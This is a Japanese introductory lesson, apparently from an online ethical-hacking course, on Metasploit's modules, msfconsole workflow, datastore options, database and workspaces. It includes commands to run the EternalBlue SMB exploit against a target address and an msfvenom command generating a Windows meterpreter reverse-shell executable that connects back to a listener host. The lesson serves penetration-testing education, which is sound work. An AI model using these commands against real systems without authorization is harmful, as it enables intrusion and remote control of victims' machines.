Metasploitアーキテクチャ
モジュールとコンソール
「Metasploitアーキテクチャ」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン1/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
Metasploitとは
Metasploitは、最も広く使われているエクスプロイトフレームワークです。許可を得たセキュリティ評価で脆弱性をテストし、実証するために、エクスプロイト、ペイロード、ツールを体系的なライブラリとして提供します。
攻撃を毎回ゼロから作成するのではなく、実績のあるモジュールを読み込み、設定して、一貫したインターフェースから実行できます。
msfconsole
主なインターフェースは、対話型コマンドラインシェルのmsfconsoleです。タブ補完、コマンド履歴、すべてのモジュールへのアクセスを利用できます。
ターミナルから起動し、その後はプロンプト内ですべての操作を行います。
msfconsole
# msf6 > helpモジュールの種類
Metasploitでは、機能をモジュールの種類ごとに整理しています。
- exploit:脆弱性を悪用するコード
- payload:エクスプロイト成功後にターゲット上で実行されるコード
- auxiliary:ペイロードを送り込まないスキャナー、ファザー、その他のツール
- post:侵害したホスト上で行う、侵害後のアクション
- encoderおよびnop:ペイロードが検出を回避するのを支援するもの
モジュールの命名規則
モジュールは階層型のパスを使用しており、その機能を正確に示します。パスを読むことで、種類、プラットフォーム、対象サービスが分かります。
exploit/windows/smb/ms17_010_eternalblue
# type / platform / service / specific exploitエクスプロイトとペイロードの違い
重要な違いは次のとおりです。
- exploitは侵入するための手段であり、脆弱なソフトウェアを突破します。
- payloadは、侵入後に実行したい処理です。たとえばシェルを開く処理などがあります。
両者を組み合わせて使います。目的やターゲットに応じて、1つのエクスプロイトでさまざまなペイロードを実行できます。
モジュールのワークフロー
どのモジュールを使う場合も、再現可能なサイクルに従います。
- モジュールをsearchする
- useして読み込む
- RHOSTSやLHOSTなどのoptionsを設定する
- runまたはexploitを実行する
この一貫性があるため、フレームワークを数千のモジュールにわたって利用できます。
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.5
exploitデータストアとオプション
モジュールの設定はdatastoreに保存されます。各オプションには必須のものと任意のものがあります。
- RHOSTS:リモートターゲットのアドレス
- RPORT:リモートポート
- LHOST:リバース接続を受け付ける自分のアドレス
- LPORT:接続を受け付ける自分のポート
実行前に、show optionsを使ってモジュールに必要な設定を確認します。
データベース
MetasploitはPostgreSQL databaseと連携し、評価中に発見したホスト、サービス、loot、認証情報を保存します。これにより、大規模な対象範囲を効率的に追跡できます。
結果が自動的に記録されるよう、コンソールを起動する前にデータベースを起動してください。
msfdb init
# Inside msfconsole:
# db_status hosts services credsAuxiliaryモジュール
Auxiliaryモジュールは、エクスプロイトを実行せずに有用な処理を行います。ポートスキャン、サービス列挙、ログインのブルートフォース、ファジングなどが該当します。
多くの場合、エクスプロイトを選ぶ前に必要な情報を集めるための最初の手順として使用します。
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
runmsfvenom
msfvenomは、単体のペイロードをファイルとして生成するための補助ツールです。コンソール外から送り込む実行ファイル、スクリプト、シェルコードなどを作成できます。
ペイロードの生成とエンコードを1つのコマンドにまとめて実行できるため、フィッシングシミュレーションや、許可を得たテストでのカスタム配信に役立ちます。
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.2 LPORT=4444 -f exe -o shell.exeワークスペース
複数の評価を行う場合、Metasploitのworkspacesによって、各クライアントのホスト、サービス、lootをデータベース内で分離できます。ワークスペースを切り替えることで、評価間でデータが混ざるのを防げます。
workspace -a clientA # add a workspace
workspace clientA # switch to it
workspace # list all確認問題
モジュールの種類についての理解度を確認しましょう。
まとめ
Metasploitのアーキテクチャについて学びました。
- msfconsoleは主なインターフェースで、msfvenomは単体のペイロードを作成します。
- モジュールの種類はexploit、payload、auxiliary、post、encoder/nopです。
- モジュールのパスには、種類、プラットフォーム、サービスが示されています。
- ワークフローはsearch、use、set options、runであり、設定はdatastoreに保存されます。
- PostgreSQLのdatabaseによって、ホスト、サービス、lootを追跡できます。
次は、エクスプロイトを効果的に検索して使用する方法です。
よくある質問
「Metasploitアーキテクチャ」レッスンは無料ですか?
はい。「Metasploitアーキテクチャ」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「Metasploitアーキテクチャ」で何を学びますか?
モジュールとコンソール ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン1/4です。
「Metasploitアーキテクチャ」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Metasploitアーキテクチャ
- エクスプロイトの検索と利用
- ペイロードとMeterpreter
- 侵入後のモジュール